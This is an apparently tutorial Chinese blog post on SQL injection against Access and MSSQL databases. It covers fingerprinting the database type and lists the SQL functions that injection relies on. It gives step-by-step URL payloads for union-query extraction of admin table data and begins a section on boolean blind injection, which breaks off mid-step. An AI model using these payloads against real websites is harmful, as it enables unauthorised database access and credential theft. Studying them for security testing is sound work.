1-9其他数据库注入

本文深入探讨了数据库注入攻击,重点关注Access和MSSQL数据库。介绍了如何判断Access数据库,如通过URL后缀和报错信息,以及利用count()、len()等函数进行查询。对于MSSQL,文章解释了判断方法、常用函数,以及联合查询和报错注入的技巧。内容涵盖了列数、回显位置、表名、列名和字段内容的获取过程。
摘要由CSDN通过智能技术生成

数据库注入

access数据库

判断access数据库
  • 根据url的后缀。ASP为后缀名的是ACCESS数据库
  • 在url后面加单引号,以报错信息“Microsoft ole db provider for odbc drivers”判断为access
  • 通过and (select count(*) from msysobjects)>0发牛错误页面则为access数据库。msysobjects、msysqueries\msysrelationships为access的三个系统表,web环境下没有权限访问
常用函数
  • count():返回统计给定条件的行数
  • len():字符串长度,例len(‘database’)返回’8‘
  • asc():返回ascii值
  • mid(‘字符串’,n,m):返回从第n位开始,截取m长度的字符串
  • chr():返回ascii对应的字符
  • IIF(条件表达式,true,false):判断条件成立返回true,否则返回false
  • exists():判断是否存在数据,返回true或false
查询语句构造
联合查询

先判断数据库类型

  1. 判断整型注入还是字符型,例?id=5-1和?id=4相同,则整型
  2. 判断列数:?id=1 order by N
  3. 枚举获取关键表名:?id=1 and exists(select count(*) from admin),看admin表是否存在,如果返回值则存在,反之
  4. 获取回显位置:?id=1 union select 1,1,1 from admin
  5. 获取数据(不存在limit和concat):?id=1 union select 1,user(),1 from admin where id=2,如果报错,则没有猜解函数的字段

在这里插入图片描述

布尔型盲注
  1. 猜解表名:?id=5 and (select count(*) from admin)>0或?id=5 and exists(select count(**) from admin),页面出错则
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值